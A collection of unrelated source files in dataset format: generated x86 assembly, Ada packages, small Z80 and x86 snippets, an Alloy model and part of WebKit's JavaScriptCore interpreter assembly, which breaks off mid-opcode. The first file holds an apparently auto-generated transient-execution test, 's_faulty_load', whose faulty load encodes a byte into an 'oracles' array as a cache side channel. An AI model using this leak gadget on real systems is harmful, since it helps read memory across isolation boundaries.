lea addresses_A_ht+0x1665c, %rcx
nop
nop
nop
and $288, %rdx
vmovups (%rcx), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $1, %xmm6, %rdi
nop
add %r12, %r12
lea addresses_normal_ht+0x111a4, %r15
nop
nop
nop
nop
nop
inc %rsi
mov (%r15), %ecx
nop
nop
nop
inc %rdx
lea addresses_WT_ht+0x5ba4, %r12
add %rdi, %rdi
mov (%r12), %si
nop
nop
nop
xor $54210, %rsi
lea addresses_D_ht+0x135a4, %rdi
nop
nop
nop
dec %r12
mov $0x6162636465666768, %rsi
movq %rsi, %xmm4
movups %xmm4, (%rdi)
nop
nop
add $3229, %r8
lea addresses_WT_ht+0x1b9a4, %rdx
nop
nop
nop
nop
nop
add $20439, %rcx
mov $0x6162636465666768, %rsi
movq %rsi, %xmm7
vmovups %ymm7, (%rdx)
nop
nop
nop
nop
nop
cmp $30335, %rcx
lea addresses_WC_ht+0xefa4, %rdi
xor $16742, %rdx
mov $0x6162636465666768, %r12
movq %r12, %xmm6
and $0xffffffffffffffc0, %rdi
vmovaps %ymm6, (%rdi)
nop
nop
add %rsi, %rsi
lea addresses_WC_ht+0x51a4, %rdx
and %rcx, %rcx
mov $0x6162636465666768, %r8
movq %r8, %xmm6
movups %xmm6, (%rdx)
nop
nop
nop
nop
nop
inc %r15
lea addresses_WT_ht+0xc6fe, %rdx
nop
nop
nop
nop
add %rsi, %rsi
movups (%rdx), %xmm3
vpextrq $1, %xmm3, %r8
nop
nop
nop
nop
nop
dec %r15
lea addresses_D_ht+0x185a4, %rsi
lea addresses_normal_ht+0x1844, %rdi
nop
nop
nop
sub $25269, %r13
mov $39, %rcx
rep movsl
nop
nop
nop
nop
cmp $6546, %r8
lea addresses_normal_ht+0xc62d, %r8
add $20021, %r13
mov $0x6162636465666768, %rsi
movq %rsi, %xmm6
vmovups %ymm6, (%r8)
and $43718, %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r8
pop %r15
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r15
push %r8
push %rax
push %rbp
push %rbx
push %rdi
// Store
lea addresses_PSE+0x131a4, %r12
nop
nop
nop
nop
add %rdi, %rdi
movl $0x51525354, (%r12)
nop
nop
xor %rax, %rax
// Load
lea addresses_WT+0xdd08, %rbp
nop
nop
inc %r8
and $0xffffffffffffffc0, %rbp
vmovaps (%rbp), %ymm7
vextracti128 $1, %ymm7, %xmm7
vpextrq $1, %xmm7, %r15
nop
nop
nop
nop
nop
xor $28378, %r15
// Store
lea addresses_PSE+0x1e2a4, %rbp
nop
xor %r12, %r12
movw $0x5152, (%rbp)
nop
dec %rax
// Load
lea addresses_PSE+0x131a4, %rax
nop
inc %rbp
movb (%rax), %r12b
nop
nop
nop
nop
inc %rdi
// Store
lea addresses_UC+0x1e124, %r15
cmp $33515, %rdi
movb $0x51, (%r15)
nop
nop
nop
nop
nop
and $45639, %r12
// Store
lea addresses_A+0x1cc74, %rax
nop
nop
nop
nop
cmp $30221, %rbx
movw $0x5152, (%rax)
nop
nop
nop
nop
nop
inc %rbx
// Store
lea addresses_normal+0xa21c, %rdi
nop
nop
add %rbp, %rbp
mov $0x5152535455565758, %r8
movq %r8, %xmm3
movaps %xmm3, (%rdi)
nop
nop
nop
dec %rdi
// Faulty Load
lea addresses_PSE+0x131a4, %rdi
nop
xor $22173, %rax
mov (%rdi), %r8w
lea oracles, %rdi
and $0xff, %r8
shlq $12, %r8
mov (%rdi,%r8,1), %r8
pop %rdi
pop %rbx
pop %rbp
pop %rax
pop %r8
pop %r15
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': True, 'same': False, 'congruent': 0, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 4}}
{'src': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_WT', 'AVXalign': True, 'size': 32}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 2}}
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_UC', 'AVXalign': False, 'size': 1}}
{'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 4, 'type': 'addresses_A', 'AVXalign': False, 'size': 2}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_normal', 'AVXalign': True, 'size': 16}}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'same': False, 'congruent': 7, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 11, 'type': 'addresses_WC_ht'}}
{'src': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 16}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 32}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_WC_ht', 'AVXalign': True, 'size': 32}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 16}}
{'src': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 10, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_normal_ht'}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 32}}
{'54': 21829}
54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54
*/
|
src/address.adb | python36/d0xfa | 0 | 6041 | package body address is
function valid_value_for_pos_addr (value : word) return boolean is
begin
return even(value) and value /= 16#ffff#;
end valid_value_for_pos_addr;
procedure valid_addr_assert (addr : word) is
begin
if not valid_value_for_pos_addr(addr) then
raise error_address_odd;
end if;
end valid_addr_assert;
function create (value : word) return pos_addr_t is
begin
valid_addr_assert(value);
return (addr => value);
end create;
procedure set (pos_addr : in out pos_addr_t; value : word) is
begin
valid_addr_assert(value);
pos_addr.addr := value;
end set;
function get (pos_addr : pos_addr_t) return word is
begin
return pos_addr.addr;
end get;
procedure inc (pos_addr : in out pos_addr_t) is
begin
incd(pos_addr.addr);
valid_addr_assert(pos_addr.addr);
end inc;
procedure dec (pos_addr : in out pos_addr_t) is
begin
decd(pos_addr.addr);
valid_addr_assert(pos_addr.addr);
end dec;
function inc (pos_addr : pos_addr_t) return pos_addr_t is
begin
valid_addr_assert(incd(pos_addr.addr));
return (addr => incd(pos_addr.addr));
end inc;
function "<" (a, b : pos_addr_t) return boolean is
begin
return a.addr < b.addr;
end "<";
function "<=" (a, b : pos_addr_t) return boolean is
begin
return a.addr <= b.addr;
end "<=";
function ">" (a, b : pos_addr_t) return boolean is
begin
return a.addr > b.addr;
end ">";
function ">=" (a, b : pos_addr_t) return boolean is
begin
return a.addr >= b.addr;
end ">=";
function "-" (a, b : pos_addr_t) return pos_addr_t is
begin
return (addr => a.addr - b.addr);
end "-";
function "+" (a, b : pos_addr_t) return pos_addr_t is
begin
return (addr => a.addr + b.addr);
end "+";
function "*" (a, b : pos_addr_t) return pos_addr_t is
begin
return (addr => a.addr * b.addr);
end "*";
function "/" (a, b : pos_addr_t) return pos_addr_t is
begin
return (addr => a.addr / b.addr);
end "/";
function "+" (a: pos_addr_t; b : natural) return pos_addr_t is
begin
return (addr => a.addr + word(b));
end "+";
function "+" (a: pos_addr_t; b : word) return pos_addr_t is
begin
return (addr => a.addr + b);
end "+";
end address; |
mastersystem/zxb-sms-2012-02-23/zxb-sms/wip/zxb/library-asm/pause.asm | gb-archive/really-old-stuff | 10 | 161421 | ; The PAUSE statement (Calling the ROM)
__PAUSE:
ld b, h
ld c, l
jp 1F3Dh ; PAUSE_1
|
hello-world/hello.asm | urandu/assembly-language | 0 | 92164 | section .text
global _start
_start:
mov edx,len
mov ecx,msg
mov ebx,1
mov eax,4
int 0x80
mov eax,1
int 0x80
section .data
msg db 'Hello, World!', 0xa
len equ $ - msg
|
libsrc/graphics/aquarius/textpixl.asm | grancier/z180 | 0 | 89377 | <reponame>grancier/z180<gh_stars>0
;
;
; Support char table (pseudo graph symbols) for the Mattel Aquarius
; Sequence: blank, top-left, top-right, top-half, bottom-left, left-half, etc..
;
; $Id: textpixl.asm,v 1.4 2016/06/20 21:47:41 dom Exp $
;
;
SECTION rodata_clib
PUBLIC textpixl
.textpixl
defb 32, 29, 27, 175
defb 28, 181, 182, 191
defb 26, 30, 234, 239
defb 31, 253, 254, 255
|
alloy4fun_models/trainstlt/models/2/TPoXKYWctkj9wf9qb.als | Kaixi26/org.alloytools.alloy | 0 | 5234 | <reponame>Kaixi26/org.alloytools.alloy
open main
pred idTPoXKYWctkj9wf9qb_prop3 {
all t : Train | always no t.pos
}
pred __repair { idTPoXKYWctkj9wf9qb_prop3 }
check __repair { idTPoXKYWctkj9wf9qb_prop3 <=> prop3o } |
3-mid/opengl/source/lean/model/opengl-model-grid.ads | charlie5/lace-alire | 1 | 7738 | <reponame>charlie5/lace-alire
with
openGL.Geometry.colored;
package openGL.Model.grid
--
-- Models a grid.
--
-- TODO: Rename to 'line_Grid'.
is
type Item is new Model.item with private;
type View is access all Item'Class;
---------
--- Forge
--
function new_grid_Model (Color : openGL.Color;
Width : Integer;
Height : Integer) return View;
--------------
--- Attributes
--
overriding
function to_GL_Geometries (Self : access Item; Textures : access Texture.name_Map_of_texture'Class;
Fonts : in Font.font_id_Map_of_font) return Geometry.views;
private
type Item is new Model.item with
record
Color : openGL.rgb_Color;
Vertices : access openGL.Geometry.colored.Vertex_array;
Geometry : openGL.Geometry.colored.view;
Width,
Height : Positive;
end record;
end openGL.Model.grid;
|
src/qt/qtwebkit/Source/JavaScriptCore/llint/LowLevelInterpreter32_64.asm | zwollerob/PhantomJS_AMR6VL | 0 | 396 | <reponame>zwollerob/PhantomJS_AMR6VL
# Copyright (C) 2011, 2012 Apple Inc. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
# 1. Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# 2. Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY APPLE INC. AND ITS CONTRIBUTORS ``AS IS''
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
# THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR ITS CONTRIBUTORS
# BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
# THE POSSIBILITY OF SUCH DAMAGE.
# Crash course on the language that this is written in (which I just call
# "assembly" even though it's more than that):
#
# - Mostly gas-style operand ordering. The last operand tends to be the
# destination. So "a := b" is written as "mov b, a". But unlike gas,
# comparisons are in-order, so "if (a < b)" is written as
# "bilt a, b, ...".
#
# - "b" = byte, "h" = 16-bit word, "i" = 32-bit word, "p" = pointer.
# Currently this is just 32-bit so "i" and "p" are interchangeable
# except when an op supports one but not the other.
#
# - In general, valid operands for macro invocations and instructions are
# registers (eg "t0"), addresses (eg "4[t0]"), base-index addresses
# (eg "7[t0, t1, 2]"), absolute addresses (eg "0xa0000000[]"), or labels
# (eg "_foo" or ".foo"). Macro invocations can also take anonymous
# macros as operands. Instructions cannot take anonymous macros.
#
# - Labels must have names that begin with either "_" or ".". A "." label
# is local and gets renamed before code gen to minimize namespace
# pollution. A "_" label is an extern symbol (i.e. ".globl"). The "_"
# may or may not be removed during code gen depending on whether the asm
# conventions for C name mangling on the target platform mandate a "_"
# prefix.
#
# - A "macro" is a lambda expression, which may be either anonymous or
# named. But this has caveats. "macro" can take zero or more arguments,
# which may be macros or any valid operands, but it can only return
# code. But you can do Turing-complete things via continuation passing
# style: "macro foo (a, b) b(a) end foo(foo, foo)". Actually, don't do
# that, since you'll just crash the assembler.
#
# - An "if" is a conditional on settings. Any identifier supplied in the
# predicate of an "if" is assumed to be a #define that is available
# during code gen. So you can't use "if" for computation in a macro, but
# you can use it to select different pieces of code for different
# platforms.
#
# - Arguments to macros follow lexical scoping rather than dynamic scoping.
# Const's also follow lexical scoping and may override (hide) arguments
# or other consts. All variables (arguments and constants) can be bound
# to operands. Additionally, arguments (but not constants) can be bound
# to macros.
# Below we have a bunch of constant declarations. Each constant must have
# a corresponding ASSERT() in LLIntData.cpp.
# Value representation constants.
const Int32Tag = -1
const BooleanTag = -2
const NullTag = -3
const UndefinedTag = -4
const CellTag = -5
const EmptyValueTag = -6
const DeletedValueTag = -7
const LowestTag = DeletedValueTag
# Utilities
macro dispatch(advance)
addp advance * 4, PC
jmp [PC]
end
macro dispatchBranchWithOffset(pcOffset)
lshifti 2, pcOffset
addp pcOffset, PC
jmp [PC]
end
macro dispatchBranch(pcOffset)
loadi pcOffset, t0
dispatchBranchWithOffset(t0)
end
macro dispatchAfterCall()
loadi ArgumentCount + TagOffset[cfr], PC
jmp [PC]
end
macro cCall2(function, arg1, arg2)
if ARM or ARMv7 or ARMv7_TRADITIONAL
move arg1, t0
move arg2, t1
call function
elsif X86
poke arg1, 0
poke arg2, 1
call function
elsif MIPS or SH4
move arg1, a0
move arg2, a1
call function
elsif C_LOOP
cloopCallSlowPath function, arg1, arg2
else
error
end
end
# This barely works. arg3 and arg4 should probably be immediates.
macro cCall4(function, arg1, arg2, arg3, arg4)
if ARM or ARMv7 or ARMv7_TRADITIONAL
move arg1, t0
move arg2, t1
move arg3, t2
move arg4, t3
call function
elsif X86
poke arg1, 0
poke arg2, 1
poke arg3, 2
poke arg4, 3
call function
elsif MIPS or SH4
move arg1, a0
move arg2, a1
move arg3, a2
move arg4, a3
call function
elsif C_LOOP
error
else
error
end
end
macro callSlowPath(slowPath)
cCall2(slowPath, cfr, PC)
move t0, PC
move t1, cfr
end
# Debugging operation if you'd like to print an operand in the instruction stream. fromWhere
# should be an immediate integer - any integer you like; use it to identify the place you're
# debugging from. operand should likewise be an immediate, and should identify the operand
# in the instruction stream you'd like to print out.
macro traceOperand(fromWhere, operand)
cCall4(_llint_trace_operand, cfr, PC, fromWhere, operand)
move t0, PC
move t1, cfr
end
# Debugging operation if you'd like to print the value of an operand in the instruction
# stream. Same as traceOperand(), but assumes that the operand is a register, and prints its
# value.
macro traceValue(fromWhere, operand)
cCall4(_llint_trace_value, cfr, PC, fromWhere, operand)
move t0, PC
move t1, cfr
end
# Call a slowPath for call opcodes.
macro callCallSlowPath(advance, slowPath, action)
addp advance * 4, PC, t0
storep t0, ArgumentCount + TagOffset[cfr]
cCall2(slowPath, cfr, PC)
move t1, cfr
action(t0)
end
macro callWatchdogTimerHandler(throwHandler)
storei PC, ArgumentCount + TagOffset[cfr]
cCall2(_llint_slow_path_handle_watchdog_timer, cfr, PC)
move t1, cfr
btpnz t0, throwHandler
loadi ArgumentCount + TagOffset[cfr], PC
end
macro checkSwitchToJITForLoop()
checkSwitchToJIT(
1,
macro ()
storei PC, ArgumentCount + TagOffset[cfr]
cCall2(_llint_loop_osr, cfr, PC)
move t1, cfr
btpz t0, .recover
jmp t0
.recover:
loadi ArgumentCount + TagOffset[cfr], PC
end)
end
# Index, tag, and payload must be different registers. Index is not
# changed.
macro loadConstantOrVariable(index, tag, payload)
bigteq index, FirstConstantRegisterIndex, .constant
loadi TagOffset[cfr, index, 8], tag
loadi PayloadOffset[cfr, index, 8], payload
jmp .done
.constant:
loadp CodeBlock[cfr], payload
loadp CodeBlock::m_constantRegisters + VectorBufferOffset[payload], payload
# There is a bit of evil here: if the index contains a value >= FirstConstantRegisterIndex,
# then value << 3 will be equal to (value - FirstConstantRegisterIndex) << 3.
loadp TagOffset[payload, index, 8], tag
loadp PayloadOffset[payload, index, 8], payload
.done:
end
macro loadConstantOrVariableTag(index, tag)
bigteq index, FirstConstantRegisterIndex, .constant
loadi TagOffset[cfr, index, 8], tag
jmp .done
.constant:
loadp CodeBlock[cfr], tag
loadp CodeBlock::m_constantRegisters + VectorBufferOffset[tag], tag
# There is a bit of evil here: if the index contains a value >= FirstConstantRegisterIndex,
# then value << 3 will be equal to (value - FirstConstantRegisterIndex) << 3.
loadp TagOffset[tag, index, 8], tag
.done:
end
# Index and payload may be the same register. Index may be clobbered.
macro loadConstantOrVariable2Reg(index, tag, payload)
bigteq index, FirstConstantRegisterIndex, .constant
loadi TagOffset[cfr, index, 8], tag
loadi PayloadOffset[cfr, index, 8], payload
jmp .done
.constant:
loadp CodeBlock[cfr], tag
loadp CodeBlock::m_constantRegisters + VectorBufferOffset[tag], tag
# There is a bit of evil here: if the index contains a value >= FirstConstantRegisterIndex,
# then value << 3 will be equal to (value - FirstConstantRegisterIndex) << 3.
lshifti 3, index
addp index, tag
loadp PayloadOffset[tag], payload
loadp TagOffset[tag], tag
.done:
end
macro loadConstantOrVariablePayloadTagCustom(index, tagCheck, payload)
bigteq index, FirstConstantRegisterIndex, .constant
tagCheck(TagOffset[cfr, index, 8])
loadi PayloadOffset[cfr, index, 8], payload
jmp .done
.constant:
loadp CodeBlock[cfr], payload
loadp CodeBlock::m_constantRegisters + VectorBufferOffset[payload], payload
# There is a bit of evil here: if the index contains a value >= FirstConstantRegisterIndex,
# then value << 3 will be equal to (value - FirstConstantRegisterIndex) << 3.
tagCheck(TagOffset[payload, index, 8])
loadp PayloadOffset[payload, index, 8], payload
.done:
end
# Index and payload must be different registers. Index is not mutated. Use
# this if you know what the tag of the variable should be. Doing the tag
# test as part of loading the variable reduces register use, but may not
# be faster than doing loadConstantOrVariable followed by a branch on the
# tag.
macro loadConstantOrVariablePayload(index, expectedTag, payload, slow)
loadConstantOrVariablePayloadTagCustom(
index,
macro (actualTag) bineq actualTag, expectedTag, slow end,
payload)
end
macro loadConstantOrVariablePayloadUnchecked(index, payload)
loadConstantOrVariablePayloadTagCustom(
index,
macro (actualTag) end,
payload)
end
macro writeBarrier(tag, payload)
# Nothing to do, since we don't have a generational or incremental collector.
end
macro valueProfile(tag, payload, profile)
if VALUE_PROFILER
storei tag, ValueProfile::m_buckets + TagOffset[profile]
storei payload, ValueProfile::m_buckets + PayloadOffset[profile]
end
end
# Entrypoints into the interpreter
# Expects that CodeBlock is in t1, which is what prologue() leaves behind.
macro functionArityCheck(doneLabel, slow_path)
loadi PayloadOffset + ArgumentCount[cfr], t0
biaeq t0, CodeBlock::m_numParameters[t1], doneLabel
cCall2(slow_path, cfr, PC) # This slow_path has a simple protocol: t0 = 0 => no error, t0 != 0 => error
move t1, cfr
btiz t0, .continue
loadp JITStackFrame::vm[sp], t1
loadp VM::callFrameForThrow[t1], t0
jmp VM::targetMachinePCForThrow[t1]
.continue:
# Reload CodeBlock and PC, since the slow_path clobbered it.
loadp CodeBlock[cfr], t1
loadp CodeBlock::m_instructions[t1], PC
jmp doneLabel
end
# Instruction implementations
_llint_op_enter:
traceExecution()
loadp CodeBlock[cfr], t2 // t2<CodeBlock> = cfr.CodeBlock
loadi CodeBlock::m_numVars[t2], t2 // t2<size_t> = t2<CodeBlock>.m_numVars
btiz t2, .opEnterDone
move UndefinedTag, t0
move 0, t1
.opEnterLoop:
subi 1, t2
storei t0, TagOffset[cfr, t2, 8]
storei t1, PayloadOffset[cfr, t2, 8]
btinz t2, .opEnterLoop
.opEnterDone:
dispatch(1)
_llint_op_create_activation:
traceExecution()
loadi 4[PC], t0
bineq TagOffset[cfr, t0, 8], EmptyValueTag, .opCreateActivationDone
callSlowPath(_llint_slow_path_create_activation)
.opCreateActivationDone:
dispatch(2)
_llint_op_init_lazy_reg:
traceExecution()
loadi 4[PC], t0
storei EmptyValueTag, TagOffset[cfr, t0, 8]
storei 0, PayloadOffset[cfr, t0, 8]
dispatch(2)
_llint_op_create_arguments:
traceExecution()
loadi 4[PC], t0
bineq TagOffset[cfr, t0, 8], EmptyValueTag, .opCreateArgumentsDone
callSlowPath(_llint_slow_path_create_arguments)
.opCreateArgumentsDone:
dispatch(2)
_llint_op_create_this:
traceExecution()
loadi 8[PC], t0
loadp PayloadOffset[cfr, t0, 8], t0
loadp JSFunction::m_allocationProfile + ObjectAllocationProfile::m_allocator[t0], t1
loadp JSFunction::m_allocationProfile + ObjectAllocationProfile::m_structure[t0], t2
btpz t1, .opCreateThisSlow
allocateJSObject(t1, t2, t0, t3, .opCreateThisSlow)
loadi 4[PC], t1
storei CellTag, TagOffset[cfr, t1, 8]
storei t0, PayloadOffset[cfr, t1, 8]
dispatch(4)
.opCreateThisSlow:
callSlowPath(_llint_slow_path_create_this)
dispatch(4)
_llint_op_get_callee:
traceExecution()
loadi 4[PC], t0
loadp PayloadOffset + Callee[cfr], t1
loadp 8[PC], t2
valueProfile(CellTag, t1, t2)
storei CellTag, TagOffset[cfr, t0, 8]
storei t1, PayloadOffset[cfr, t0, 8]
dispatch(3)
_llint_op_convert_this:
traceExecution()
loadi 4[PC], t0
bineq TagOffset[cfr, t0, 8], CellTag, .opConvertThisSlow
loadi PayloadOffset[cfr, t0, 8], t0
loadp JSCell::m_structure[t0], t0
bbb Structure::m_typeInfo + TypeInfo::m_type[t0], ObjectType, .opConvertThisSlow
loadi 8[PC], t1
valueProfile(CellTag, t0, t1)
dispatch(3)
.opConvertThisSlow:
callSlowPath(_llint_slow_path_convert_this)
dispatch(3)
_llint_op_new_object:
traceExecution()
loadpFromInstruction(3, t0)
loadp ObjectAllocationProfile::m_allocator[t0], t1
loadp ObjectAllocationProfile::m_structure[t0], t2
allocateJSObject(t1, t2, t0, t3, .opNewObjectSlow)
loadi 4[PC], t1
storei CellTag, TagOffset[cfr, t1, 8]
storei t0, PayloadOffset[cfr, t1, 8]
dispatch(4)
.opNewObjectSlow:
callSlowPath(_llint_slow_path_new_object)
dispatch(4)
_llint_op_mov:
traceExecution()
loadi 8[PC], t1
loadi 4[PC], t0
loadConstantOrVariable(t1, t2, t3)
storei t2, TagOffset[cfr, t0, 8]
storei t3, PayloadOffset[cfr, t0, 8]
dispatch(3)
_llint_op_not:
traceExecution()
loadi 8[PC], t0
loadi 4[PC], t1
loadConstantOrVariable(t0, t2, t3)
bineq t2, BooleanTag, .opNotSlow
xori 1, t3
storei t2, TagOffset[cfr, t1, 8]
storei t3, PayloadOffset[cfr, t1, 8]
dispatch(3)
.opNotSlow:
callSlowPath(_llint_slow_path_not)
dispatch(3)
_llint_op_eq:
traceExecution()
loadi 12[PC], t2
loadi 8[PC], t0
loadConstantOrVariable(t2, t3, t1)
loadConstantOrVariable2Reg(t0, t2, t0)
bineq t2, t3, .opEqSlow
bieq t2, CellTag, .opEqSlow
bib t2, LowestTag, .opEqSlow
loadi 4[PC], t2
cieq t0, t1, t0
storei BooleanTag, TagOffset[cfr, t2, 8]
storei t0, PayloadOffset[cfr, t2, 8]
dispatch(4)
.opEqSlow:
callSlowPath(_llint_slow_path_eq)
dispatch(4)
_llint_op_eq_null:
traceExecution()
loadi 8[PC], t0
loadi 4[PC], t3
assertNotConstant(t0)
loadi TagOffset[cfr, t0, 8], t1
loadi PayloadOffset[cfr, t0, 8], t0
bineq t1, CellTag, .opEqNullImmediate
loadp JSCell::m_structure[t0], t1
btbnz Structure::m_typeInfo + TypeInfo::m_flags[t1], MasqueradesAsUndefined, .opEqNullMasqueradesAsUndefined
move 0, t1
jmp .opEqNullNotImmediate
.opEqNullMasqueradesAsUndefined:
loadp CodeBlock[cfr], t0
loadp CodeBlock::m_globalObject[t0], t0
cpeq Structure::m_globalObject[t1], t0, t1
jmp .opEqNullNotImmediate
.opEqNullImmediate:
cieq t1, NullTag, t2
cieq t1, UndefinedTag, t1
ori t2, t1
.opEqNullNotImmediate:
storei BooleanTag, TagOffset[cfr, t3, 8]
storei t1, PayloadOffset[cfr, t3, 8]
dispatch(3)
_llint_op_neq:
traceExecution()
loadi 12[PC], t2
loadi 8[PC], t0
loadConstantOrVariable(t2, t3, t1)
